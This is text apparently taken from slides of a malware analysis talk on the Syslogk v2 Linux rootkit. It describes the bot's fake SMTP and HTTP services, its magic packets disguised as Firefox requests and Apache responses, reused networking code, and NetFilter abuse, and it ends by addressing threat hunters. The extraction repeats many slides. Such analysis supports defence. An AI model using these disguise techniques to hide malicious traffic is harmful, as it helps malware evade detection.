● For instance, SMTP has the identifier 4.

Overviewing the bot. Multiple fake services
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The bot is very stealth. Apart of being hidden by the rootkit, it can fake multiple protocols/services for connecting to it.
● For instance, SMTP has the identifier 4.
● We can see also the comparison in eax for executing it.

Overviewing the bot. Multiple fake services
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The bot is very stealth. Apart of being hidden by the rootkit, it can fake multiple protocols/services for connecting to it.
● For instance, SMTP has the identifier 4.
● We can see also the comparison in eax for executing it.
● The SMTP server implementation is a code reuse.

○ https://cpp0x.pl/forum/temat/?id=25974

○ https://github.com/fcgll520/CppLinux/blob/master/LibCurl/socket-starttls.cpp#L23

Overviewing the bot. Multiple fake services
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https://cpp0x.pl/forum/temat/?id=25974
https://github.com/fcgll520/CppLinux/blob/master/LibCurl/socket-starttls.cpp#L23
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The bot chooses the appropriate protocol (TCP or SSL), for sending and receiving data, depending on the fake service.

Overviewing the bot. Multiple fake services
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The SSL connection requires a certificate (the same certificate that they used for Syslogk v1). 

Overviewing the bot. Multiple fake services
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-----BEGIN RSA PRIVATE KEY----------END RSA PRIVATE KEY-----

-----BEGIN CERTIFICATE----------END CERTIFICATE-----
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The magic packets are not evident. Those fakes common traffic generated by web applications.

Overviewing the bot. Sending magic packets to the rootkit
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The magic packets are not evident. Those fakes common web applications.

Overviewing the bot. Sending magic packets to the rootkit
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Simulation of web applications for sending magic packets

Fake service ID Function address Description Request

0  0x0040E8A0 It generates a post request that appears to be a legitimate 
Mozilla Firefox request.

Connection: keep-alive\r\n
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 
Firefox/52.0\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n
Accept-Encoding: gzip, deflate\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
POST /index.html HTTP/1.1\r\n
Host: HOST_GOES_HERE\r\n
Content-Length: CONTENT-LENGTH_GOES_HERE\r\n\r\n

1 0x40FD5C generate_apache_http_request HTTP/1.1 200 OK\r\n
Date: THE_DATETIME_GOES_HERE GMT\r\n
Content-Length: CONTENT-LENGTH_GOES_HERE\r\n\r\n
Connection: close\r\n
Cache-Control: no-cache\r\n\r\n
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The magic packets are not evident.
● Running the bot is responsibility of the kernel rootkit (so step 1 is not present in the bot).
● The magic packets with the keys, step 2 and step 3 are also encoded and used in the bot.

Overviewing the bot. Sending magic packets to the rootkit
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The magic packets are not evident.
● All of those values are sent as the Cookie ID value of a fake Mozilla Firefox request .

Overviewing the bot. Sending magic packets to the rootkit
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Overviewing the bot. Sending magic packets to the rootkit

Code reuse from Cours Réseau et Communication. 
Laboratoire d'Informatique Fondamentale, Marseille Cedex 9, 
France)

● https://pageperso.lis-lab.fr/edouard.thiel/ens/rezo/bor-util.h
● https://pageperso.lis-lab.fr/edouard.thiel/ens/rezo/bor-util.c
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Syslogk rootkit v2 relies on this network toolkit

● BOR: Boite a Outil Reseau

https://pageperso.lis-lab.fr/edouard.thiel/ens/rezo/bor-util.h
https://pageperso.lis-lab.fr/edouard.thiel/ens/rezo/bor-util.c
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Sending magic packets to the rootkit. TCP Raw sockets

Preparing the magic packet by choosing a random id from 
the id_list.
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https://github.com/seifzadeh/c-network-programming-best-
snipts/blob/master/Code%20raw%20sockets%20in%20C%
20on%20Linux
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● Linux threats are getting more and more complex.

● NetFilter can be used by malware in multiple malicious ways:

○ Magic packets
○ Bypass firewall rules (i.ex. iptables relies on NetFilter).
○ etc.

● The combination of tradicional rootkit techniques, fake services and magic packets, makes of Syslogk v2 a powerful 
rootkit that can inspire other malware writers for hiding bots.

Concluding with a brief summary
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● Linux threats are getting more and more complex.

● NetFilter can be used by malware in multiple malicious ways:

○ Magic packets
○ Bypass firewall rules (i.ex. iptables relies on NetFilter).
○ etc.

● The combination of tradicional rootkit techniques, fake services and magic packets, makes of Syslogk v2 a powerful 
rootkit that can inspire other malware writers for hiding bots.

Happy hunting.

Concluding with a brief summary
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Thank you!




